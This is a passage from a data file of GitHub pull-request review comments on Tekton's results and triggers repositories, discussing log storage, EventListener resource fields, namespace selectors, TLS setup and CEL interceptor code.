"repo": "results"} +{"author": "dibyom", "body": "+1", "comment_id": 1092559515, "created_at": "2023-01-31T22:43:25Z", "line": 42, "path": "pkg/logs/writer.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "unit test added.", "comment_id": 1092562609, "created_at": "2023-01-31T22:48:10Z", "line": 49, "path": "pkg/api/server/v1alpha2/log/file.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "unit test added", "comment_id": 1092562727, "created_at": "2023-01-31T22:48:22Z", "line": 72, "path": "pkg/api/server/v1alpha2/log/file.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "Nothing in particular, \"totalSize\" seemed more relevant name, and for Minio tenant the ContentLength was required in the API input params later in the method uploadPart, which is named partSized. Thought this would avoid confusion. ", "comment_id": 1092572392, "created_at": "2023-01-31T22:59:41Z", "line": null, "path": "pkg/api/server/v1alpha2/log/s3.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "The API handler for this has a unit test, but from reconciling -> API handler -> logs written doesn't have a test. As of now we cannot add this kind of test S3 backend, but test for File storage backend can be implemented.", "comment_id": 1092578883, "created_at": "2023-01-31T23:09:59Z", "line": 308, "path": "pkg/watcher/reconciler/dynamic/dynamic_test.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "Sure, I'll add it", "comment_id": 1092579544, "created_at": "2023-01-31T23:11:07Z", "line": 54, "path": "pkg/watcher/convert/convert.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "Reverted back. ", "comment_id": 1094259959, "created_at": "2023-02-02T09:37:55Z", "line": null, "path": "pkg/api/server/v1alpha2/log/s3.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "Add unit test for this.", "comment_id": 1094260713, "created_at": "2023-02-02T09:38:36Z", "line": 54, "path": "pkg/watcher/convert/convert.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "@adambkaplan @dibyom \r\nThe problem in implementing this in the reconciler unit test is that we are using `tkncli` to collect logs, which is getting it from the `pod` logs. But in these unit tests we are creating only `PipelineRuns` and `TaskRuns` but no pods.\r\nWe have covered writing of the logs in the `UpdateLog` handler of the API server, and in this case we can use an e2e test, which will be easier. ", "comment_id": 1094273431, "created_at": "2023-02-02T09:47:47Z", "line": 308, "path": "pkg/watcher/reconciler/dynamic/dynamic_test.go", "pr_number": 301, "repo": "results"} +{"author": "khrm", "body": "I don't think Interceptor should be like this. Keep like it's there in EventListener Spec Triggers.", "comment_id": 444297234, "created_at": "2020-06-23T15:06:20Z", "line": 33, "path": "pkg/apis/triggers/v1alpha1/trigger_types.go", "pr_number": 628, "repo": "triggers"} +{"author": "khrm", "body": "I think for now we don't require TriggerStatus or TriggerCRD controller.", "comment_id": 444297711, "created_at": "2020-06-23T15:07:00Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/trigger_types.go", "pr_number": 628, "repo": "triggers"} +{"author": "savitaashture", "body": "I think as per the design discussion we are on consensus that there may be more than one EventListener support so i assume it would be better if we move the structure definition from event_listener_type.go to this file itself and keeping things which are relevant there ", "comment_id": 444307647, "created_at": "2020-06-23T15:20:56Z", "line": 33, "path": "pkg/apis/triggers/v1alpha1/trigger_types.go", "pr_number": 628, "repo": "triggers"} +{"author": "dorismeixing", "body": "After discussing with the team, we will move the structure definition from event_listener_type.go to this file itself.", "comment_id": 444654468, "created_at": "2020-06-24T05:35:50Z", "line": 33, "path": "pkg/apis/triggers/v1alpha1/trigger_types.go", "pr_number": 628, "repo": "triggers"} +{"author": "wlynch", "body": "@dibyom Should we replace EventListenerInterceptor with this type?", "comment_id": 445024692, "created_at": "2020-06-24T16:35:03Z", "line": 62, "path": "pkg/apis/triggers/v1alpha1/trigger_types.go", "pr_number": 628, "repo": "triggers"} +{"author": "dibyom", "body": "Yup! Let's move all of the interceptor types below to this file as well. In addition, let's remove the EventInterceptor type from the other file and switch it to use the `TriggerInterceptor` type from this file.", "comment_id": 445147525, "created_at": "2020-06-24T20:18:56Z", "line": 62, "path": "pkg/apis/triggers/v1alpha1/trigger_types.go", "pr_number": 628, "repo": "triggers"} +{"author": "dibyom", "body": "fair enough, let's remove this for now. We can always add it later!!", "comment_id": 445148006, "created_at": "2020-06-24T20:19:51Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/trigger_types.go", "pr_number": 628, "repo": "triggers"} +{"author": "dibyom", "body": "Let's do the following:\r\n1. move WebhookInterceptor and all the other types to this file.\r\n2. Remove the EventInterceptor type and replace it with the TriggerInterceptor from here:\r\nhttps://github.com/tektoncd/triggers/blob/master/pkg/apis/triggers/v1alpha1/event_listener_types.go#L89", "comment_id": 446244959, "created_at": "2020-06-26T15:12:57Z", "line": 62, "path": "pkg/apis/triggers/v1alpha1/trigger_types.go", "pr_number": 628, "repo": "triggers"} +{"author": "dibyom", "body": "Instead of adding a new rule here, we can just add \"triggers\" to the rule in [line 33](https://github.com/tektoncd/triggers/blob/master/config/200-clusterrole.yaml#L33) and the status one in the following rule: https://github.com/tektoncd/triggers/blob/master/config/200-clusterrole.yaml#L36", "comment_id": 447147070, "created_at": "2020-06-29T17:49:40Z", "line": null, "path": "config/200-clusterrole.yaml", "pr_number": 628, "repo": "triggers"} +{"author": "dibyom", "body": "What do you think about `sinkTemplate` as in the template for the EL sink deployment as the field name?", "comment_id": 481573112, "created_at": "2020-09-02T02:40:08Z", "line": 55, "path": "docs/eventlisteners.md", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "We might want to allow users to set resource requirements for the container?\r\n(to be clear, this would be a new feature so it can come later!)", "comment_id": 488021198, "created_at": "2020-09-14T15:26:25Z", "line": 95, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "was this intentional?", "comment_id": 488023273, "created_at": "2020-09-14T15:28:15Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "looks like we call mergeMaps in line 330. So, we can remove this line?", "comment_id": 488023947, "created_at": "2020-09-14T15:28:48Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "savitaashture", "body": "Looks ok for k8sResources but how about once we support custom resources :thinking: ", "comment_id": 488114483, "created_at": "2020-09-14T17:48:16Z", "line": 55, "path": "docs/eventlisteners.md", "pr_number": 734, "repo": "triggers"} +{"author": "savitaashture", "body": "Ya that make sense :+1: \r\n\r\nWe can support based on usecase\r\n\r\nShall i open a new issue so that it will be tracked ?", "comment_id": 488115479, "created_at": "2020-09-14T17:50:00Z", "line": 95, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation.go", "pr_number": 734, "repo": "triggers"} +{"author": "savitaashture", "body": "Oh forgot to remove commented line\r\n\r\nDone", "comment_id": 488119339, "created_at": "2020-09-14T17:56:45Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\nFor more info on the design refer to [TEP-0008](https://github.com/tektoncd/community/blob/master/teps/0008-support-knative-service-for-triggers-eventlistener-pod.md)\r\n```", "comment_id": 488896258, "created_at": "2020-09-15T18:57:20Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\nRight now the `resources` field is optional in order to support backward compatibility with original behavior of `podTemplate`, `serviceType` and `serviceAccountName` fieds. \r\n```", "comment_id": 488896721, "created_at": "2020-09-15T18:57:49Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\nIn the future, we plan to deprecate deprecate `serviceAccountName`, `serviceType` and `podTemplate` from the EventListener spec in favor of the `resources` field.\r\n```", "comment_id": 488897855, "created_at": "2020-09-15T18:58:54Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "This section has useful information but I think it belongs in the TEP/design doc and not necessarily in the user docs.", "comment_id": 488899934, "created_at": "2020-09-15T19:02:29Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "yeah we can open an issue for it.", "comment_id": 488901166, "created_at": "2020-09-15T19:04:40Z", "line": 95, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "minor\r\n```suggestion\r\n\t\tname: \"user specifies an supported podspec field\",\r\n```", "comment_id": 488902534, "created_at": "2020-09-15T19:07:05Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation_test.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\n\t\tname: \"user specifies an unsupported container field\",\r\n```", "comment_id": 488902914, "created_at": "2020-09-15T19:07:47Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation_test.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "Do we also want to add some defaulting logic in el.SetDefaults to change el.Spec.ServiceType to el.Spec.Resources.KubernetesResource.ServiceType?", "comment_id": 488907463, "created_at": "2020-09-15T19:16:22Z", "line": 179, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "Being able to specify extra env vars for the EL sink is a new feature. Was there a specific use case you had in mind?", "comment_id": 488917665, "created_at": "2020-09-15T19:29:44Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "same comment as with `serviceType` -> it seems like we could also do some of this in the webhook via EL's SetDefaults.", "comment_id": 488920395, "created_at": "2020-09-15T19:33:00Z", "line": 321, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "Don't we also have to mergeMaps for annotations too like we do in 7622d51", "comment_id": 488924263, "created_at": "2020-09-15T19:37:14Z", "line": 337, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "savitaashture", "body": "Oh ya this will be considered as new feature based on usecase because currently we don't allow.\r\n\r\n > Was there a specific use case you had in mind?\r\n\r\nNo specific usecase i just added while coding.\r\n\r\nBut yes i will remove it now and we can add it later if we get any usecase for this :+1: ", "comment_id": 489164695, "created_at": "2020-09-16T05:04:03Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "savitaashture", "body": "I think we don't require because even if `ServiceType` is empty k8s itself set `ClusterIP` as default\r\n\r\nWDYT?", "comment_id": 489236668, "created_at": "2020-09-16T07:53:55Z", "line": 179, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "savitaashture", "body": "I feel we don't require here because these are part of `deployment.spec.template.metadata` and there won't be any annotations which are added by k8s, So we don't get continuous loop issue. \r\n\r\nSo `deployment.spec.template.metadata.annotation` will add/update to annotations value if provided as part of `el.Spec.Resources.KubernetesResource.Template.Annotations` \r\n\r\neven if user manually edit those directly on deployment it will not allow same like others.\r\n\r\nLet me know if you have some other point to address\r\n\r\n", "comment_id": 489316962, "created_at": "2020-09-16T10:00:16Z", "line": 337, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "savitaashture", "body": "Ya that make sense removed", "comment_id": 489444841, "created_at": "2020-09-16T13:39:16Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 734, "repo": "triggers"} +{"author": "savitaashture", "body": "Removed env support.", "comment_id": 489445686, "created_at": "2020-09-16T13:40:22Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "Oh, what I meant by defaulting is something like\r\n\r\n```\r\n if el.Spec.ServiceType != nil {\r\n el.Spec.Resources.KubernetesResource.ServiceType = el.Spec.ServiceType\r\n```\r\n\r\nThis is so that we can deprecate/remove the `el.Spec.ServiceType` field later.\r\n", "comment_id": 490474580, "created_at": "2020-09-17T18:38:03Z", "line": 179, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "Hmm, yeah you are right...I was confusing `deployment.spec.template.metadata.annotations` with `deployment.metadata.annotations`. I think this is fine then \ud83d\udc4d \r\n\r\nKind of off topic, the reconciler code is getting kind of long and unwieldy, we might want to see how we can refactor/clean it up a bit. I'll open an issue.", "comment_id": 490481300, "created_at": "2020-09-17T18:50:12Z", "line": 337, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "In pipelines, we've been trying to get rid of test builders and use structs as much as possible. For our reconciler tests too, we've started using single make(EL/Deployment/Service) functions. I think its ok to keep for now, but later we might end up removing builders just like in Pipeline.", "comment_id": 490482761, "created_at": "2020-09-17T18:52:58Z", "line": 324, "path": "test/builder/eventlistener.go", "pr_number": 734, "repo": "triggers"} +{"author": "savitaashture", "body": "Created issue https://github.com/tektoncd/triggers/issues/762", "comment_id": 492102198, "created_at": "2020-09-21T14:41:09Z", "line": 95, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation.go", "pr_number": 734, "repo": "triggers"} +{"author": "dibyom", "body": "typo", "comment_id": 499978610, "created_at": "2020-10-06T02:57:58Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "curious about this Any field. Wondering if we need a separate field or we could pass something to MatchNames to indicate we should select all namespaces (e.g. `matchNames: [\"*\"]` or `matchNames:[\"\"]`.", "comment_id": 500362839, "created_at": "2020-10-06T14:59:08Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_types.go", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "might want to use an informer here to reduce calls to the API server. ( can be a follow up though)", "comment_id": 500369433, "created_at": "2020-10-06T15:06:09Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "AdmissionWebhooks also have NameSpaceSelector (and ObjectSelector). We could take some pointers from there: https://github.com/kubernetes/api/blob/master/admissionregistration/v1beta1/types.go#L410\r\n\r\n\r\n(might be worth seeing if there are any reusable bits in the implementation that we could use too)", "comment_id": 510982016, "created_at": "2020-10-23T15:55:13Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_types.go", "pr_number": 773, "repo": "triggers"} +{"author": "khrm", "body": "Yes, `any` here could be dispense with but AdmissionWebhook implementation is for more complex scenarios. https://github.com/kubernetes/api/blob/8519c5ea46199d57724725d5b969c5e8e0533692/admissionregistration/v1beta1/types.go#L372 ", "comment_id": 520330882, "created_at": "2020-11-10T06:54:39Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_types.go", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\n EventListener can fetch triggers from and create Tekton resources.\r\n```", "comment_id": 522303579, "created_at": "2020-11-12T17:55:53Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\ncreate Tekton resources. If this field isn't provided, EventListener will only serve Triggers from its\r\n```", "comment_id": 522304070, "created_at": "2020-11-12T17:56:36Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "maybe these two namespaces should be in its own file instead of rbac.yaml?", "comment_id": 522304857, "created_at": "2020-11-12T17:57:50Z", "line": 1, "path": "examples/selectors/01_rbac.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "we use `tekton-triggers-example-minimal` as the name for other examples where the EL can only use its own namespace. Maybe we can call this something else like `tekton-triggers-example-cluster` or something? ", "comment_id": 522306137, "created_at": "2020-11-12T17:59:54Z", "line": null, "path": "examples/selectors/01_rbac.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "similar, maybe we can change the name to indicate that this is a clusterwide example?", "comment_id": 522307043, "created_at": "2020-11-12T18:01:16Z", "line": null, "path": "examples/selectors/01_rbac.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "Remove?", "comment_id": 522307260, "created_at": "2020-11-12T18:01:36Z", "line": null, "path": "examples/selectors/01_rbac.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "name change -> tekton-triggers-creator or something?", "comment_id": 522307604, "created_at": "2020-11-12T18:02:09Z", "line": null, "path": "examples/selectors/01_rbac.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\n\t\tt.Errorf(\"Error setting flag elType: %s\", err)\r\n```", "comment_id": 522610190, "created_at": "2020-11-13T04:22:49Z", "line": null, "path": "pkg/sink/initialization_test.go", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\n\t\tt.Errorf(\"Error EL Type want type, got %s\", sinkArgs.ElType)\r\n```", "comment_id": 522610471, "created_at": "2020-11-13T04:23:11Z", "line": null, "path": "pkg/sink/initialization_test.go", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "minor: would be clearer to make this a boolean flag e.g. IsClusterWide or IsMultiNameSpace", "comment_id": 522611862, "created_at": "2020-11-13T04:24:58Z", "line": null, "path": "pkg/sink/initialization.go", "pr_number": 773, "repo": "triggers"} +{"author": "khrm", "body": "I change the name to better reflect that its for el.", "comment_id": 525122562, "created_at": "2020-11-17T12:39:04Z", "line": null, "path": "examples/selectors/01_rbac.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\n\tisMultiNSFlag = flag.Bool(\"is-multi-ns\", false, \r\n```", "comment_id": 526406483, "created_at": "2020-11-18T20:40:51Z", "line": null, "path": "pkg/sink/initialization.go", "pr_number": 773, "repo": "triggers"} +{"author": "savitaashture", "body": "Can we add README in selector folder to setup locally like github example", "comment_id": 527068306, "created_at": "2020-11-19T17:28:26Z", "line": 77, "path": "examples/selectors/03_trigger.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "savitaashture", "body": "If we specify 2 ns here does it mean EL will search in both the namespace for triggers and its not mandatory to have `trigger` in both the namespace am i right (I mean `trigger` can present in any one of the ns)\r\n\r\nWhat happens if no `trigger` exist in both the ns?", "comment_id": 527068624, "created_at": "2020-11-19T17:28:55Z", "line": 11, "path": "examples/selectors/02_eventlistener-sel.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "savitaashture", "body": "I think we are not adding triggerRef here right :thinking: ", "comment_id": 527078406, "created_at": "2020-11-19T17:43:53Z", "line": null, "path": "pkg/sink/sink_test.go", "pr_number": 773, "repo": "triggers"} +{"author": "khrm", "body": "Yes. If no trigger is present, then nothing happens.", "comment_id": 527431812, "created_at": "2020-11-20T05:52:27Z", "line": 11, "path": "examples/selectors/02_eventlistener-sel.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "khrm", "body": "We wait for a user to create trigger.", "comment_id": 527528913, "created_at": "2020-11-20T08:43:36Z", "line": 11, "path": "examples/selectors/02_eventlistener-sel.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "khrm", "body": "Done,", "comment_id": 527529034, "created_at": "2020-11-20T08:43:48Z", "line": 77, "path": "examples/selectors/03_trigger.yaml", "pr_number": 773, "repo": "triggers"} +{"author": "dibyom", "body": "```suggestion\r\n\t\t\tlogger.Fatalf(\"failed to start eventlistener sink: %v\", err)\r\n```", "comment_id": 520695589, "created_at": "2020-11-10T16:25:17Z", "line": null, "path": "cmd/eventlistenersink/main.go", "pr_number": 819, "repo": "triggers"} +{"author": "dibyom", "body": "We definitely don't have to do this in this PR but it would be really nice to have an example/guide that runs through the whole flow i.e. creating certs, adding them to the secret, modifying the EL etc.", "comment_id": 520698558, "created_at": "2020-11-10T16:29:12Z", "line": 836, "path": "docs/eventlisteners.md", "pr_number": 819, "repo": "triggers"} +{"author": "dibyom", "body": "could we move this to its own test case \"Valid EventListener with TLS cert volumes\" or something like that? Makes it easier to understand why this was added in the future.", "comment_id": 520699744, "created_at": "2020-11-10T16:30:45Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation_test.go", "pr_number": 819, "repo": "triggers"} +{"author": "dibyom", "body": "nice refactoring!", "comment_id": 520700039, "created_at": "2020-11-10T16:31:10Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener.go", "pr_number": 819, "repo": "triggers"} +{"author": "dibyom", "body": "Instead of adding this function, is it possible to use makeDeployment() and then pass it a function that contains the modifications for the TLS certs? If we want to call it multiple times, we can extract that function and call it say, withTLSVolumes and then the call can look like `makeDeployment(withTLSVolumes)`. What do you think?", "comment_id": 520703930, "created_at": "2020-11-10T16:36:30Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener_test.go", "pr_number": 819, "repo": "triggers"} +{"author": "dibyom", "body": "very minor: instead of modifying `withStatus` to take in an parameter, we can create a `withTLSPort` function that sets the EventListenerAddress to the right port. We'd call it using `makeEL(withStatus, withTLSPort, func...)`", "comment_id": 520706194, "created_at": "2020-11-10T16:39:40Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener_test.go", "pr_number": 819, "repo": "triggers"} +{"author": "dibyom", "body": "Is this the filename or path to the file?", "comment_id": 520706517, "created_at": "2020-11-10T16:40:06Z", "line": null, "path": "pkg/sink/initialization.go", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "Actually we can make use of `makeDeployment()` but we need to pass lot of things to that \r\nex: \r\n* ContainerPort\r\n* Schema, Port to LivenessProbe and ReadinessProbe\r\n* Modify port in the Args\r\n* Modification in VolumeMount, Env and Volume\r\n\r\nBasically i need to pass entire `Container` info so that is why created new deployment function.\r\n\r\nShall i go ahead with passing `container` info so that we will have single function `makeDeployment()`", "comment_id": 522983922, "created_at": "2020-11-13T14:28:15Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener_test.go", "pr_number": 819, "repo": "triggers"} +{"author": "dibyom", "body": "right, so what I was suggesting was:\r\n\r\n```go\r\n\r\nfunc WithTLSConfig(d *appsv1.Deployment) {\r\n d.Container.Port = ...\r\n // All of the TLS specific modifications to the container\r\n}\r\n```\r\n\r\nand then we call:\r\n\r\n```\r\nmakeDeployment(withTLSConfig)\r\n```\r\n\r\nIs this what you were thinking off too?", "comment_id": 523235916, "created_at": "2020-11-13T21:15:07Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener_test.go", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "earlier it was path to the file.\r\nBut after design change its now filename.", "comment_id": 523727811, "created_at": "2020-11-15T08:44:40Z", "line": null, "path": "pkg/sink/initialization.go", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "Modified :+1: ", "comment_id": 523728326, "created_at": "2020-11-15T08:49:37Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener_test.go", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "Yes i agree with you\r\nAdded new testcase for env related as we don't have volume support now", "comment_id": 523728684, "created_at": "2020-11-15T08:52:59Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation_test.go", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "That's really good idea\r\nModified docs and added README to examples.", "comment_id": 523728753, "created_at": "2020-11-15T08:53:44Z", "line": 836, "path": "docs/eventlisteners.md", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "Yes \r\nModified \r\nThank you :+1: ", "comment_id": 523732368, "created_at": "2020-11-15T09:26:35Z", "line": null, "path": "pkg/reconciler/v1alpha1/eventlistener/eventlistener_test.go", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "I own to refactor changes related to masking fields in a follow up PR by creating separate file so that `_validation.go` will have changes related to validation ", "comment_id": 526185865, "created_at": "2020-11-18T15:39:10Z", "line": 124, "path": "pkg/apis/triggers/v1alpha1/event_listener_validation.go", "pr_number": 819, "repo": "triggers"} +{"author": "dibyom", "body": "Could we add a little bit more detail here? e.g. :\r\n\r\neven a like like -- To setup TLS, add set two environment variables `TLS_CERT`, and `TLS_KEY` with values set to a Secret. See the full example(LINK) for details` ", "comment_id": 527217964, "created_at": "2020-11-19T21:38:56Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "Updated", "comment_id": 527403686, "created_at": "2020-11-20T05:20:21Z", "line": null, "path": "docs/eventlisteners.md", "pr_number": 819, "repo": "triggers"} +{"author": "khrm", "body": "Nit: Why not put this in yaml file like other examples? It make it faster to test out examples. Otherwise, lgtm.", "comment_id": 527613069, "created_at": "2020-11-20T10:56:28Z", "line": null, "path": "examples/eventlistener-tls-connection/README.md", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "The dependency is on secret which is given by user and which contains cert and key files so just added sample example in README so that user can refer", "comment_id": 527639332, "created_at": "2020-11-20T11:48:35Z", "line": null, "path": "examples/eventlistener-tls-connection/README.md", "pr_number": 819, "repo": "triggers"} +{"author": "khrm", "body": "We can probably assume `tls-key-secret` as secretKeyRef.", "comment_id": 527653170, "created_at": "2020-11-20T12:16:19Z", "line": null, "path": "examples/eventlistener-tls-connection/README.md", "pr_number": 819, "repo": "triggers"} +{"author": "savitaashture", "body": "if we assume then we should create that before hand and for that we also need to create cert n keys", "comment_id": 527660028, "created_at": "2020-11-20T12:30:36Z", "line": null, "path": "examples/eventlistener-tls-connection/README.md", "pr_number": 819, "repo": "triggers"} +{"author": "khrm", "body": "It's OK to not create key beforehand because those command will do it anyway.", "comment_id": 527664895, "created_at": "2020-11-20T12:39:44Z", "line": null, "path": "examples/eventlistener-tls-connection/README.md", "pr_number": 819, "repo": "triggers"} +{"author": "bigkevmcd", "body": "```suggestion\r\n\t\t\tStatus: status.Newf(codes.Internal, \"failed to unmarshal extensions into map: %v\", err),\r\n```", "comment_id": 524041483, "created_at": "2020-11-16T09:46:24Z", "line": null, "path": "pkg/interceptors/cel/cel.go", "pr_number": 828, "repo": "triggers"} +{"author": "bigkevmcd", "body": "```suggestion\r\n\t\t// Should never happen since Unmarshal only returns err if json is invalid which we already check above\r\n```", "comment_id": 524050572, "created_at": "2020-11-16T09:54:34Z", "line": null, "path": "pkg/interceptors/cel/cel.go", "pr_number": 828, "repo": "triggers"} +{"author": "bigkevmcd", "body": "```suggestion\r\n\t\treturn\r\n```", "comment_id": 524052823, "created_at": "2020-11-16T09:56:22Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/interceptor_types.go", "pr_number": 828, "repo": "triggers"} +{"author": "bigkevmcd", "body": "```suggestion\r\n// ExecuteInterceptor executes all interceptors for the Trigger and returns back the body, header, and extensions to use.\r\n```", "comment_id": 524055510, "created_at": "2020-11-16T09:58:38Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 828, "repo": "triggers"} +{"author": "wlynch", "body": "cutoff sentence", "comment_id": 524560410, "created_at": "2020-11-16T20:44:03Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/interceptor_types.go", "pr_number": 828, "repo": "triggers"} +{"author": "wlynch", "body": "```suggestion\r\n\t// Extensions are additional fields that is added to the interceptor event.\r\n```", "comment_id": 524560481, "created_at": "2020-11-16T20:44:13Z", "line": null, "path": "pkg/apis/triggers/v1alpha1/interceptor_types.go", "pr_number": 828, "repo": "triggers"} +{"author": "wlynch", "body": "nit: add comment", "comment_id": 524561435, "created_at": "2020-11-16T20:45:59Z", "line": 28, "path": "pkg/apis/triggers/v1alpha1/interceptor_types.go", "pr_number": 828, "repo": "triggers"} +{"author": "wlynch", "body": "Since we're setting the request as nil, does this mean it can be removed?", "comment_id": 524563336, "created_at": "2020-11-16T20:49:44Z", "line": null, "path": "pkg/interceptors/cel/cel.go", "pr_number": 828, "repo": "triggers"} +{"author": "wlynch", "body": "Return a wrapped error (same with other occurrences).\r\n```suggestion\r\n\t\treturn nil, fmt.Errorf(\"failed to parse expression %#v: %w\", expr, issues.Err())\r\n```", "comment_id": 524574922, "created_at": "2020-11-16T21:01:48Z", "line": null, "path": "pkg/interceptors/cel/cel.go", "pr_number": 828, "repo": "triggers"} +{"author": "wlynch", "body": "```suggestion\r\n\t\tContext: &triggersv1.TriggerContext{\r\n\t\t\tEventURL: in.URL.String(),\r\n\t\t\tEventID: eventID,\r\n\t\t\t// t.Name might not be fully accurate until we get rid of triggers inlined within EventListener\r\n\t\t\t// that can only be\r\n\t\t\tTriggerID: fmt.Sprintf(\"namespaces/%s/triggers/%s\", r.EventListenerNamespace, t.Name),\r\n\t\t},\r\n\t\t// InterceptorParams will be added by the initial interceptor\r\n\r\n```", "comment_id": 524577274, "created_at": "2020-11-16T21:03:53Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 828, "repo": "triggers"} +{"author": "wlynch", "body": "We might want to return `([]byte, http.Header, *InterceptorResponse, error)` so that we can distinguish \"we failed to execute the interceptor\" vs \"the interceptor returned an error, but we processed it correctly\" errors.", "comment_id": 524584123, "created_at": "2020-11-16T21:10:05Z", "line": null, "path": "pkg/sink/sink.go", "pr_number": 828, "repo": "triggers"} +{"author": "wlynch", "body": "We should add the context as a parameter so that we can accurately pass through timeouts and tracing information (if any).", "comment_id": 524586073, "created_at": "2020-11-16T21:11:53Z", "line": 252, "path": "pkg/sink/sink.go", 